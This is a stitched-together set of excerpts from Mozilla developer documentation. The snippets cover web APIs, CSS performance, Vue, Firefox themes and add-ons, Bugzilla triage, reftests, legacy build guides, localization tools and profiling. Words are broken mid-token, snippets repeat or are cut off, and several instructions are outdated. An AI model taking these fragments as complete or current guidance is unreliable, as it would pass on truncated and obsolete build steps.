Client-side web APIs - Learn web development
when writing client-side javascr
ipt for web sites or applications, you will quickly encounter application programming interfaces (apis). apis are programming features for man
ipulating different aspects of the browser and operating system the site is running on, or man
ipulating data from other web sites or services. in this module, we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites to get the most out of this module, you should have worked your way through the previous javascr
ipt modules in the series (first steps, building blocks,...
...l come across often in your development work. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites to get the most out of this module, you should have worked your way through the previous javascr
ipt modules in the series (first steps, building blocks, and javascr
ipt objects). those modules typically involve simple api usage, as it is often difficult to write client-side javascr
ipt examples without them. for this tutorial, we will assume that you are knowledgable about the core javascr
ipt language, and we will explore common web apis in a bit more detail. basic knowledge of html and css would also be useful. note: if you are working on a device where you ...
... could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides introduction to web apis first up, we'll start by looking at apis from a high level -- what are they, how do they work, how do you use them in your code, and how are they structured? we'll also take a look at what the different main classes of apis are, and what kind of uses they have. man
ipulating documents when writing web pages and apps, one of the most common things you'll want to do is man
ipulate web documents in some way. this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object. in this article, we'll look at how to use the dom in detail, along with some other interesti...
CSS performance optimization - Learn web development
locking. optimizing for render blocking css can scope styles to particular conditions with media queries. media queries are important for a responsive web design and help us optimize a critical rendering path. the browser blocks rendering until it parses all of these styles but will not block rendering on styles it knows it will not use, such the print stylesheets. by splitting the css into mult
iple files based on media queries, you can prevent render blocking during download of unused css. to create a non-blocking css link, move the not-immediately used styles, such as print styles, into separate file, add a <link> to the html mark up, and add a media query, in this case stating it's a print stylesheet. <link rel="stylesheet" href="styles.css"> <!-- blocking --> <link rel="stylesheet" hr...
... screens --> by default the browser assumes that each specified style sheet is render blocking. tell the browser when the style sheet should be applied by adding a media attribute with the media query. when the browser sees a style sheet it knows that it only needs to apply it for a specific scenario, it still downloads the stylesheet, but doesn't render block. by separating out the css into mult
iple files, the main render-blocking file, in this case styles.css, is much smaller, reducing the time that rendering is blocked. animating on the gpu browsers are optimized to handle css animations, and handle animating properties that do not trigger a reflow (and therefore also a repaint) very well. to improve performance, the node being animated can be moved off the main thread and onto the gpu...
...ocument tree. this allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the dom and not the entire page. conclusion previous overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascr
ipt performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance see also css animation performance ...
Using Vue computed properties - Learn web development
previous overview: client-side javascr
ipt frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties. these work similarly to methods, but only re-run when one of their dependencies changes. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. vue components are written as a combination of javascr
ipt objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: ...
...you check a todoitem, you should see the summary update appropriately! summary in this article we've used a computed property to add a nice little feature to our app. we do however have bigger fish to fry -- in the next article we will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items. ...
...mputed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescr
ipt support in svelte deployment and next steps ...
Lightweight themes
mes". how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui background. finished your design? you can submit it right now! creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab str
ip. it will be anchored to the top-right corner of the browser window. view a sample theme header here. image requirements dimensions should be 3000px wide x 200px high png or jpg file format image must be no larger than 300 kb in file size t
ips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may reveal more of ...
...e -- pick a unique name for your theme. duplicate names are not allowed, so you may need to try a few times to find a unique name. pick a category and tags -- select a category and enter some tags that best describe your theme. keep in mind that a reviewer may reject your theme if it is obvious that your category and/or tags are unrelated to your theme. describe your theme -- write a short descr
iption of your theme. keep in mind that a reviewer may reject your theme if your descr
iption is not an accurate representation of your theme. select a license for your theme -- decide on a copyright license for your work. read more about the types of creative common licenses. important: please be sure you have the rights to use the image in your theme! upload your image -- make sure it ...
...eme! upload your image -- make sure it is under 300 kb in size and jpg or png format! select text and tab colors -- you can choose the tab ("background") color and foreground text color that work best with your header image. submit your theme -- if everything looks right, click the submit theme button and you're done! you can see all the themes you've authored on your profile page. t
ip: to ensure that your theme is approved for the gallery, be sure it complies with the content guidelines and terms of service! submit your theme now frequently asked questions for more information about lightweight themes, including content guidelines, please see these frequently asked questions. more tutorials mozilla themes focal point on sizing - a tutorial on theming with a focus on...
Add-ons
among other things, an add-on could: change the appearance or content of particular websites modify the firefox user interface add new features to firefox there are several types of add-ons, but the most common type are extensions. developing extensions in the past, there were several toolsets for developing firefox extensions, but as of november 2017, extensions must be built using webextensions apis. ...
...s of november 2017, extensions must be built using webextensions apis. other toolsets, such as overlay add-ons, bootstrapped add-ons, and the add-on sdk, are no longer supported. extensions written using webextensions apis for firefox are designed to be cross-browser compatible. in most cases, it will run in chrome, edge, and opera with few if any changes. they are also fully compatible with mult
iprocess firefox. you can see the apis currently supported in firefox and other browsers. extension workshop the firefox extension workshop can help you develop extensions for firefox and give your users simple, yet powerful ways to customize their browsing experience. you'll find: overview of the firefox extension features tools and processes for developing and testing how to publish your ex...
.... there are some porting resources on firefox extension workshop, our site for firefox-specific development resources. for more information about transition support, please visit our wiki page. publishing add-ons addons.mozilla.org, commonly known as "amo," is mozilla's official site for developers to list add-ons, and for users to discover them. by uploading your add-on to amo, you can partic
ipate in our community of users and creators and find an audience for your add-on. you are not required to list your add-on on amo, but your add-on must be signed by mozilla else users will not be able to install it. for an overview for the process of publishing your add-on see signing and distributing your add-on. other types of add-ons in addition to extensions, there are a few other add-on ty...
What to do and what not to do in Bugzilla
se of bugzilla privileges to triage bugs. it explains what should and what should not be done in bugzilla.mozilla.org. getting/upgrading bugzilla privileges if you want to get bugzilla privileges (as described below), please see this page. it lists the requirements and the email to contact. if you need faster access to get canconfirm or editbugs, especially in order to triage bugs or to partic
ipate in a bug day, then you can ask in #bmo on irc, or you may create a bug requesting permissions. include a link to your bugzilla activity page in the bug descr
iption. before you have canconfirm, you can still do good triaging by leaving comments with useful information on the bug that will help to confirm it. the same is true for editbugs: leave comments with the information you'd like to be ab...
...les: when you resolve a bug, cc yourself so that you are informed when new facts come up. the conditions for not resolving a bug always overrule the conditions for resolving a bug. when in doubt about resolving a bug, leave it alone! resolving bugs as duplicate in general newer bugs should be marked as duplicates of older bugs, except when the newer bug contains more information (bug descr
iption clearer, patch already attached, lots of people already cc'ed, etc.). resolving bugs as worksforme you can resolve a bug as worksforme (wfm) if it can't be reproduced on the reported hardware/os. you should not resolve a bug as wfm if: the bug reporter uses a different hardware/operating system (e.g. bug appears on linux and you can't reproduce it on windows). the bug has been reproduc...
... invalidated them. bugs that were invalidated or wontfixed by someone else must be verified by a module owner or module peer or someone who has been explicitly told by a module owner or module peer that they are able to do so for that module. before verifying fixed bugs, make sure that you can verify them on every hardware/os they were reported on. if that's impossible, try to cooperate with mult
iple people to verify the bug. there are no clear rules for verifying worksforme. in general you should make sure that the bug has been resolved for a few months and no complaints about the resolution have come up. note: because of how duplicate detection works in bugzilla, you should try not to verify bugs immediately after they're marked fixed; instead, let a little time pass first. this isn't...
Creating reftest-based unit tests
ested, put that complex markup into a page and create another page that uses simple markup to achieve the same visual effect. reftest will then compare them and verify whether they produce the same bitmap. this idea can seem odd when first encountered. automated testing usually compares output against an invariant, a "gold standard", that is determined to be correct. if one has software that mult
iplies numbers, one wants a regression test to show that 2 * 2 continues to be calculated to be 4, not something similar to but not quite exactly 4. but an operating system does change with time. it is not invariant. and a browser may change the visual effect produced by a tag while still being compliant with relevant standards. for example, the html 4.01 specification at the w3c specifies that text...
...the depth of the indenting and the visual construct is tested against an invariant, the test would appear to fail. but the test should not fail, unless the "<blockquote>" element did not cause any indentation at all. if a regression test harness has false failures, it makes the harness not trustworthy and the harness will not be used. running reftest-based unit tests note: mach is a python2 scr
ipt. if your use python3 as default you must edit the first line of mach. to run all the reftests, go to the directory where you save firefox's source code and run: ./mach reftest if you want to run a particular set of reftests, pass the path as an argument: ./mach reftest path/from/sourcedir/reftest.list and to run a single reftest just pass the path to the test file (not the reference file...
... run a particular set of reftests, pass the path as an argument: ./mach reftest path/from/sourcedir/reftest.list and to run a single reftest just pass the path to the test file (not the reference file): ./mach reftest path/from/sourcedir/reftest-name.html there is no reftest equivalent to mach mochitest --keep-open, but temporarily adding the reftest-wait class to a test (or disabling the scr
ipt that removes it) will keep it open longer. running
ipc reftests reftests can also be run in a separate process, which can differ from same-process rendering in significant ways. currently,
ipc reftests are only being run on linux. to run: moz_layers_force_shmem_surfaces=1 make -c $(objdir) reftest-
ipc note: right now, automation currently only runs layout/reftests/reftest-sanity/reftest.lis...
Debugging Table Reflow
5 // fixed width + padding due to col spans #define pct 6 // percent width of cell or col #define pct_adj 7 // percent width of cell or col from percent colspan #define min_pro 8 // desired width due to proportional <col>s or cols attribute #define final 9 // width after the table has been balanced, considering all of the others in the last log sn
ippet none of these width's has been set. leaving assignnonpctcolwidths shows that already to all columns a width of 360 tw
ips has been assigned assignnonpctcolwidths ex ***start table dump*** mcolwidths=360 360 360 360 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **start col dump** colindex=0 isanonymous=0 constraint=0 widths=360 540 1230 -1 -1 -1 -1 -1 -1 360 **end col dum...
... min_con des_con fix min_adj des_adj fix_adj pct pct_adj min_pro final 360 540 1230 -1 -1 -1 -1 -1 -1 360 there was no change till the entrance of balancecolumnwidths balancecolumnwidths en coun...
...raint=0 widths=360 540 -1 -1 -1 -1 -1 -1 -1 360 **end col dump** ***end table dump*** the first column has already the minimum content width, the table column can't shrink below that, the desired content width of 540 tw
ips, that's the space to layout cell 1 without wrapping the text and the 1230 which correspond to the style="width:80px" at the first cell. at this step the final size is 360 tw
ips. min_con des_con fix min_adj des_adj fix_adj pct pct_adj min_pro final 360 540 1230 -1 -1 -1 -1 -1 -1 360 there was no change till the entrance of balancecolumnwidths balancecolumnwidths en count=1 ***start table dump*** mcolwidths=360 360 360 360 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **start col dump** colindex=0 isanonymous=0 constraint=0 ...
Adding APIs to the navigator object
starting with gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), you can easily add new apis to the window.navigator object by using the category manager. simply add an entry to the "javascr
ipt-navigator-property" category. the object must be implemented as an xpcom component. each method below of adding new objects to the navigator object requires that the new object is a registered xpcom component. you can read about creating and registering xpcom components in javascr
ipt. ...
...the newly added object is a reference to the component specified by the contract id my_contract_id. ...
...t_id. you can learn more about contract ids are unique text identifiers for xpcom components. using a manifest to add an object to navigator you can also add an object to the window.navigator object by using the chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} mycomponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category javascr
ipt-navigator-property mycomponent @mozilla.org/mycomponent;1 generate a guid and replace the "ffff" sections in both the component and contract lines with your guid. this adds a new api, mycomponent, to the navigator object, which you can then access as navigator.mycomponent. real-world example you can see an example of how this is used in firefox by taking a look at how the mozapps api is imp...
Simple Instantbird build
still get away with 4gb). good internet connection for the initial source download. setup: depending on your operating system you will need to carry out a different process to prepare your machine. so firstly complete the instructions for your os and then continue following these build instructions. windows build prerequisites gnu/linux build prerequisites mac os x build prerequisites t
ip: after completing setup for your os, and before you get the source, you can opt to add the progressextension to your mercurial.ini (for windows) or .hgrc (for *nix / mac) file. this will provide status feedback during the lengthy clone / download process. see: configure mercurial .hgrc file for progress extension. get the source note: on windows, you won't be able to build the instantbird sourc...
...rectory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a new directory c:\instantbird-src. note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install p
ip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it cl...
... pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it close to the root of your machine and re-building. get the latest source code from mozilla's comm-central mercurial code repository: hg clone http://hg.mozilla.org/comm-central then, get all the repositories it depends on. the comm-central repository includes a scr
ipt to do just that. this may take a while, it's a lot of code! first, cd into the comm-central subdirectory (created automatically by the previous command): cd comm-central then run: python client.py checkout note: unless you have a very good network connection, "hg clone" might fail because it gets interrupted. it is faster and more efficient to use mercurial bundles instead the first time yo...
Simple SeaMonkey build
s, the mozillabuild package, the mercurial source repository and enough free disk space to compile. a fast ssd is recommended; the firefox build process is i/o-intensive. high speed internet installing build tools if your system is not listed below, see the build prerequisites page. ...
...ify-dev libxt-dev libiw-dev libidl-dev mesa-common-dev autoconf2.13 yasm libgtk2.0-dev libdbus-1-dev libdbus-glib-1-dev python-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libpulse-dev ubuntu linux # for ubuntu 12.04 lts (precise pangolin), replace the following line with: sudo apt-get build-dep thunderbird sudo apt-get build-dep seamonkey sudo apt-get install z
ip unz
ip mercurial g++ make autoconf2.13 yasm libgtk2.0-dev libglib2.0-dev libdbus-1-dev libdbus-glib-1-dev libasound2-dev libcurl4-openssl-dev libnotify-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libiw-dev libxt-dev mesa-common-dev libpulse-dev fedora linux centos rhel: sudo yum groupinstall 'development tools' 'development libraries' 'gnome software devel...
...emory to link. the support for libxul builds is still experimental but it should work if you --disable-mailnews. on windows, the above commands will create the comm-central directory in %userprofile% which may be some subfolder of c:\documents and settings\ on systems upgraded from xp or below. the space in this directory name, or in your user name if it contains one, will cause the configure scr
ipt to break. to (possibly) fix this, cd to a dir without spaces before doing the "hg clone" command above. running seamonkey the seamonkey executable can be found in obj-sm-release/dist/bin/ (used to be obj-sm-release/mozilla/dist/bin/) on windows and linux and in obj-sm-release/dist/seamonkey.app/contents/macos/ on mac. how to build again later in your comm-central directory, run these comma...
Windows SDK versions
if it does, several features will be disabled if you build with an sdk older than the default, which means that you'll have to specify a non-default sdk version explicitly. quick start follow the instructions for whichever version of visual c++ you're using. visual studio professional 2013 this comes with the windows 8.1 sdk included. visual studio express 2013 for windows desktop this comes with the windows 8.1 sdk included. visual studio professional 2012 this comes with the windows 8.0 sdk included. ...
... studio 2012 express for windows desktop this comes with the windows 8.0 sdk included. visual c++ 10 (vs2010) professional this comes with the windows 7 sdk, so you should be all set out of the box. visual c++ 10 (vs2010) express download and install the windows 7 sdk. older versions some of the older version are no longer supported, further information is available at obsolete build caveats and t
ips [en-us] under the windows sdk article. windows 8 sdk (official) features that depend on this sdk include: metro firefox front end gamepad api support you can download the sdk from the microsoft download center [web setup]. windows 7 sdk features that depend on this sdk include: windows 7 taskbar previews windows 7 download taskbar progress windows 7 jump lists you can download the sdk (...
...a late 2008 macbook pro.) warning: due to a bug in windows 7 sdk, if you get "sdksetup encountered an error: expecting path %systemroot% to represent a valid system volume" error you may require to set environmental variable %windir% to something like "c:\windows" instead of "%systemroot%". older sdks these are no longer supported, further information is available at obsolete build caveats and t
ips [en-us] under the windows sdk article. troubleshooting help! i know i have the correct sdk, but configure.in's still failing! try the following things in order: run the windows sdk configuration tool (if available) and make sure the right sdk is selected. restart the msys console. delete your entire object directory and start over. ...
Gecko
products using the same version of gecko have identical support for web standards. ...
...products using the same version of gecko have identical support for web standards. ...
...nt reference reference to events used within gecko and mozilla applications; for web-standard dom events, see the dom event reference. introduction to layout in mozilla tech talk on layout. embedding mozilla using gecko in your own application. character sets supported by gecko a list of the character sets supported by gecko. html parser threading descr
iption of multithreading in the html parser. gecko home page on mozillawiki home for the active developers. roadmaps and more up-to-date resources. view all... community view mozilla forums: mailing list newsgroup rss feed related topics web standards xul embedding mozilla developing mozilla ...
ISO8601DateUtils.jsm
using the iso 8601 date utilities to convert a date string into a date object, simply use: dateobj = iso8601dateutils.parse(datestring); to convert a date object into a date string: datestring = iso8601dateutils.create(dateobj); method overview string create(adate); date parse(adatestring); methods create creates an iso 8601 format date string, e.g. ...
...using the iso 8601 date utilities to convert a date string into a date object, simply use: dateobj = iso8601dateutils.parse(datestring); to convert a date object into a date string: datestring = iso8601dateutils.create(dateobj); method overview string create(adate); date parse(adatestring); methods create creates an iso 8601 format date string, e.g. ...
...object, simply use: dateobj = iso8601dateutils.parse(datestring); to convert a date object into a date string: datestring = iso8601dateutils.create(dateobj); method overview string create(adate); date parse(adatestring); methods create creates an iso 8601 format date string, e.g. "2010-05-15t13:45:00z", from a javascr
ipt date object. string create( adate ); parameters adate a javascr
ipt date object to translate into an iso 8601 format string. return value an iso 8601 format date string. parse converts an iso 8601 format date string into a javascr
ipt date object. date parse( adatestring ); parameters adatestring an iso 8601 format date string. return value a javascr
ipt date object corresponding to the specified date string. ...
OS.File.Info
tween operating systems, the information available depends on the platform. instances of os.file.info may be obtained by: calling global method os.file.stat() either from the main thread or from a worker thread; calling instance method stat() of os.file either from the main thread or from a worker thread. ...
...lse is a symbolic link, false otherwise. (as of firefox 38 this is always true on all systems, this is a bug: bugzilla 1145885) (on windows this returns false for hard links) size the number of bytes in the file. creationdate deprecated in bugzilla :: bug 807875. before deprecation, this used to be the date at which the file was created on windows and mac os x, as a javascr
ipt date object. on unix systems it was returning the last modified date and thus it was deprecated. there is talk of reinstating this with proper functionality in bugzilla :: bug 1167143. the creationdate can be obtained on windows by winbirthdate and on mac os x by macbirthdate. on older unix filesystems it is not possible to get a creation date as it was never stored, on new unix filesystems crea...
... os x by macbirthdate. on older unix filesystems it is not possible to get a creation date as it was never stored, on new unix filesystems creation date is stored but the method to obtain this date differs per filesystem, bugzilla :: bug 1167143 explores implementing solutions for all these different filesystems) lastaccessdate the date at which the file was last accessed, as a javascr
ipt date object. note that the definition of last access may depend on the underlying operating system and file system. lastmodificationdate the date at which the file was last modified, as a javascr
ipt date object. platform-specific attributes unix unixowner a number holding the identifier of the unix owner of this file. unixgroup a number holding the id...
L10n Checks
it allows mozilla localizers to easily check their work. installation (releases) l10n checks needs to be installed. to do that, you must have python 2.5, 2.6, or 2.7 installed on your machine. once python is installed, the easiest way to install l10n checks (on mac or linux) is to just run: $ sudo easy_install -u l10n-checks or, if you're on windows: $ easy_install -u l10n-checks installation (development versions) l10n checks needs to be installed, and it requires that you have python and mercurial installed on your machine. ...
...o check all locales in an extension: check-l10n-completeness -i xpi my-extension.xpi language packs (xpis) mode l10n checks can compare two locales found in different xpi files. you pass both paths to the xpi file and both paths to the locales inside the files, e.g.: check-l10n-completeness -i xpis en-us-langpack.xpi my-langpack.xpi jar:chrome/en-us.jar!locale/ jar:chrome/my.jar!locale/my/ jar/z
ip file (jar) mode l10n checks can compare two locales found in different jar files. you pass both paths to the jar file including the inner path, e.g.: check-l10n-completeness -i jar jar:en-us.jar!locale/ jar:my.jar!locale/my/ directories (dir) mode l10n checks can compare two locales found in different directories. you pass both paths to the directories, e.g.: check-l10n-completeness -i dir en-us...
...s to the directories, e.g.: check-l10n-completeness -i dir en-us/ my/ files (file) mode l10n checks can compare two files. you pass both paths to the files, e.g.: check-l10n-completeness -i file en-us.dtd my.dtd the output the output of l10n checks shows the missing and obsolete strings in a pseudo-diff format. ...
Localizing with Mozilla Translator
menu. after translating those strings (if using the edit phrase dialog, you can get translation suggestions for strings having an original text equal to existing translations), you can run some automated tests to detect typical errors. after that, you export either the whole product or indvididual files. finally, you commit your changes outside of mt, using your favorite repository tools. rec
ipes introduction we aim to put here some rec
ipes that may be useful at a certain moment for mt users, but that, due to its temporary nature, don't fit in the user manual. migrating contents when the directory structure changes overall, if you are a ''good'' mt user and you do things like: checking "keep original" flags for strings not needing translation, instead of just leaving the tran...
... from the platform neutral platform can't be part of a partial glossary (because they are not components), and platform neutral itself can't be selected either, since it is not a component, but a platform. for these few files, you will have to export them individually and reimport them. if you are a ''not so good'' mt user, however, you can just create a new product (or several ones; see next rec
ipe to know why), run file -> update on them (you'll get a list of all the strings) and then run edit -> autotranslate. most of the strings will be automatically filled, although if you do this you should review them, because for en-us strings with several possible translations, mt will choose one of them, which could not be the one you want. from cvs to mercurial in mt so, you have a firefox pr...
...more. with good oldie cvs, you could checkout just the locale content and, even more, you could checkout just ''the locale directories'' you were interested in. with mercurial, partial checkouts are not possible, so you have your own mozilla repository full copy (there are alternate solutions; read on). a bit of history on mt mt has been evolving from long ago, when l10n were done always on sh
ipped en-us jars and when mozilla suite had five l10n jars: ab-cd.jar, ab-win.jar, ab-mac.jar, ab-unix.jar, and cd.jar. mt thus referred to ab-cd.jar contents as ''platform neutral'' platform, cd.jar as '''region''' platform (or regional files), and the other three as ''windows platform'', ''mac platform'' and ''unix platform''. this jar structure is now used just by seamonkey 1.1.x. when mozilla l...
Localization technical reviews
o a new locale's l10n aurora repo in mercurial. is very comprehensive and covers the entire product. focusses on technical accuracy and completion of l10n work, not translation quality. is only performed on the first revision a new locale wants to have released to the public. must be approved prior to migrating your revision from aurora to beta. technical review evaluation criteria in princ
ipal, a technical review's criteria looks for localization issues common to localizing software but within the mozilla context. since it is performed on the first revision a l10n team proposes for release, this first revision requires a very detailed and comprehensive form of review. that being the case, there are some criteria in a technical review that will only ever be considered once, as all rev...
...creator. the team can also wrap contributors with <em:contributor> tags just after the moz_langpack_contributors section. make sure that the the text content is wrapped with emptylines. leading comments are ok, but watch out for #filter emptylines #define ... # comment #define ... #unfilter emptylines in toolkit/defines.inc, the native name of the language is specified, which is used as descr
iption for the built language packs. region.properties though locales might like to specify changes from the beginning, the region.properties files will be reverted to en-us. changes will be discussed in productization bugs filed for each locale. search plugins similar to the region.properties files, the list.txt file should be reverted to en-us and amended accordingly as the search plugin p...
...beginning, the region.properties files will be reverted to en-us. changes will be discussed in productization bugs filed for each locale. search plugins similar to the region.properties files, the list.txt file should be reverted to en-us and amended accordingly as the search plugin productization bugs are completed. for this initial review, all xml files should be removed. string lengths in p
ipnss.properties there are some character limits in the security/manager/chrome/p
ipnss/p
ipnss.properties file that you should be aware of. it is best to look into each of these files to see if the localizer's strings might be too long. this is something to look for, but can be difficult to diagnose immediately. for more info, see bug 435874. check for bad migration of access keys in the past, i...
Mozilla Framework Based on Templates (MFBT)
its code resides in the mfbt/ source directory, but headers within it should be included using paths like "mozilla/standardinteger.h". it is fairly new, so its functionality is currently sparse. feel free to file bugs to add new functionality to it, or to move existing functionality into it, as needed. mfbt code goes to some length to document all its interfaces in comments, including examples when possible. ...
...files, such that simply skimming the contents of mfbt/ will quickly suggest the relevant header to examine. therefore this document primarily attempts to direct readers to the correct file to read those comments. feel free to file a documentation bug if you think this approach could be improved, and feel free to make improvements to this document if you see them. functionality types and type man
ipulation standardinteger.h implements the <stdint.h> interface. (the <stdint.h> standard header is not available on all platforms and so cannot be used directly. this header also provides a useful "hook" for embeddings that must customize the types underlying the fixed-size integer types.) types.h includes standardinteger.h and further provides size_t. checkedint.h implements checked integers. t...
...ttempt to create an unnamed temporary for it will assert. (an unnamed temporary lives for a shorter period of time than the scope where it's found, so it usually isn't what was desired.) data structures linkedlist.h implements a type-safe doubly-linked list class. most new code should use this rather than prclist. rangedptr.h implements rangedptr, a smart pointer template whose value may be man
ipulated only within a range specified at construction time, and which may be dereferenced only at valid locations in that range. this pointer is a useful way to expose access to values within an array. refptr.h implements various smart pointer templates to simplify reference counting of values of particular classes. scoped.h implements scope-based resource management, to simplify the task of cle...
Fonts for Mozilla's MathML engine
icode coverage and open font format features are required for good math rendering. this wiki page describes how users can install and use such math fonts with mozilla's mathml engine. note that most of these instructions may as well apply to other web rendering engines. installation instructions windows install the latin modern math and stix fonts as follows: download latinmodern-math-1959.z
ip. open the z
ip archive, move inside the latinmodern-math-1959 directory and then inside the otf directory. you will find a latinmodern-math font file. open the latinmodern-math font file and click the install button. download stixv2.0.2.z
ip. open the z
ip archive, move inside the /stixv2.0.0/fonts/otf/ directory. you will find the stixmath-regular, stix-regular, stix-bold, stix-italic, stix-bol...
...n. if desired, you may also do the same for the other font files. note:cambria math is installed by default on windows 7 and later versions and should ensure relatively good mathml rendering. an enhancement request has been submitted to microsoft to install latin modern math and stix by default. os x install the latin modern math and stix fonts as follows: download latinmodern-math-1959.z
ip. extract the z
ip archive, move inside the latinmodern-math-1959 directory and then inside the otf directory. you will find a latinmodern-math font file. double-click the latinmodern-math font file click the "install the font" button from the window that opens. download stixv2.0.2.z
ip. open the z
ip archive, move inside the /stixv2.0.0/fonts/otf/ directory. you will find the stixmath-regular, s...
...bold, stix-italic, stix-bolditalic font files. open the stixmath-regular font file and click the "install the font" button from the window that opens. if desired, you may also do the same for the other font files. note: a deprecated version of stix is preinstalled starting with os x lion and should ensure relatively good mathml rendering. enhancement requests have been submitted to apple to sh
ip opentype math fonts in the default installation. if you have a developer account, these are problems 16841023 and 17021145. linux install the latin modern math, stix or xits fonts, which are generally available from your package manager. on debian/ubuntu/mint and other debian-based distributions, use the following command: sudo apt-get install fonts-lmodern fonts-stix on fedora and other fe...
MathML Demo: <mtable> - tables and matrices
4444 4444 4444 x center || post text. now for a display ---... 1 4444 4444 4444 x 7777777 text after displayed math. do you see which vertical alignment is set on that table? example of \begin{matrix} ---... 0 1 1 0 with 3 \hline's. example of \begin{smallmatrix} ---... 1 2 3 4 5 obtained with scr
iptlevel="+1". example of \begin{pmatrix} ---... ( 0 - i i 0 ) with an \hline after the first row. example of \begin{bmatrix} ---... [ 1 0 0 - 1 ] example of \begin{vmatrix} ---... | a b c d | example of \begin{vmatrix} ---... || 0 1 0 11 0 111 0 1111 0 || example of \begin{bmatrix} ---... { 1 0 ...
...11 } a fenced matrix and the equivalent \begin{bmatrix} ---... [ a b b c c c d d d d ] [ a b b c c c d d d d ] . a table with align="axis2" to anchor the table externally w.r.t. the axis of the second row ---... ab ? ? abx yab ? ? ab ...--- , but this is subject to variances due to style changes, e.g., from the scr
iptlevel. ---... ab ? ? abx yab ? ? ab ...--- . anyway, this is buggy in mozilla because what you see above is a fallback to the rendering code used for the baseline case (see below). a table with align="baseline -1" to anchor the table externally w.r.t. the baseline of the last row ---... d+p ( ? ? ? ? ) ...--- , neat isn't it? this would be pretty hard to obtain otherwise. ...
...ve as if it was align="center#rownumber"). these may sound like gimmicks until you want to get a damping effect such as this ---... ab ab ab ab ab ab , or perhaps the reverse ---... ab ab ab ab ab ab , modulo pixel roundoff errors. here 'a' and 'b' can be other combinations of possibly irregular boxes. and making floating elements do a mult
iplication such as the following one which is anchored at a baseline is made simple by using align="baseline1" on both tables [ a b c d ] [ a b c d ] to mult
iply a matrix a by a vector x, each row of the matrix has to be mult
iplied to the vector. so at the i-th step, it proceeds thus: i-th row [ a11 a12 a13 ... a1n ? ? ? ... ?
Gecko Profiler FAQ
to increase determinism, you really want an automated way of gathering the data. and you'll want to make sure the profiles only contain data for the time range you're interested in. to stop the profiler from gathering more samples after the "startup end" marker that you're interested in, you can call services.profiler.pause(); or you can insert a marker with a special string and then write a scr
ipt that filters out all samples that were gathered after your marker. to increase the amount of data, you should run your automated gathering procedure many times, and then combine mult
iple profiles into one. we don't have a scr
ipt that combines profiles, but i can help you write one if you're interested. in the end, you should have one big "before" profile and one big "after" pro...
...ious profiling we know that malloc overhead contributes a measurable percentage of overhead to the overall time and then study the change to that workload after replacing the allocator. you do want to think about various characteristics of an allocator which may have an impact on performance. for example, see julian's great investigation on the impact of cache line sharing across mult
iple cores on jemalloc's multi-core performance in https://bugzilla.mozilla.org/show_bug.cgi?id=1291355#c26. what's the best way to measure the cost of new compiler flags (that affect all or most functions)? [ehsan] this is similar to the previous question to some extent, but the specific answer really depends on what kind of compiler flag we're talking about and what perfor...
...n is helpful. how do we know when profiler output is statistically significant (for comparing across runs / across machines)? [mstange] hard to say. prefer to do comparisons by measuring your timings with code instead of by inspecting profiles. always keep in mind that profiler overhead has the potential to skew the results. is it better to profile across mult
iple platforms, or to focus time on windows (since that's the bulk of our users)? [mstange] in my opinion, as long as you double-check that the problems you find are actually present on windows, it doesn't matter much what platform you find them on. [ehsan] that being said, we do see a lot of windows-specific issues that you will not find on other platforms, for example somet...
Profiling with Concurrency Visualizer - Performance
concurrency visualizer is an excellent alternative to xperf. in newer versions of visual studio, it is an addon that needs to be downloaded. ...
... concurrency visualizer is an excellent alternative to xperf. in newer versions of visual studio, it is an addon that needs to be downloaded. ...
... concurrency visualizer is an excellent alternative to xperf. in newer versions of visual studio, it is an addon that needs to be downloaded. ...
A brief guide to Mozilla preferences
ce is read from a file, and can call up to four methods: pref(), user_pref(), sticky_pref() and lockpref(). all preferences files may call pref(), user_pref() and sticky_pref(), while the config file in addition may call lockpref(). ...
...ref(), while the config file in addition may call lockpref(). preferences files to protect privacy by preventing inadvertent loading of a preferences file in the browser, the first line of the file is made un-parseable and sk
ipped on loading. the only exception to this is user.js . on application launch, several preferences files are loaded. ...
...remain with that value when using a different channel with different defaults. for example, let's assume that nightly has a preference "some.preference" which defaults to true while developeredition defaults the same preference to false and the user desires the preference to have the value true in both channels. if the preference is not a sticky preference and the user runs developeredition and fl
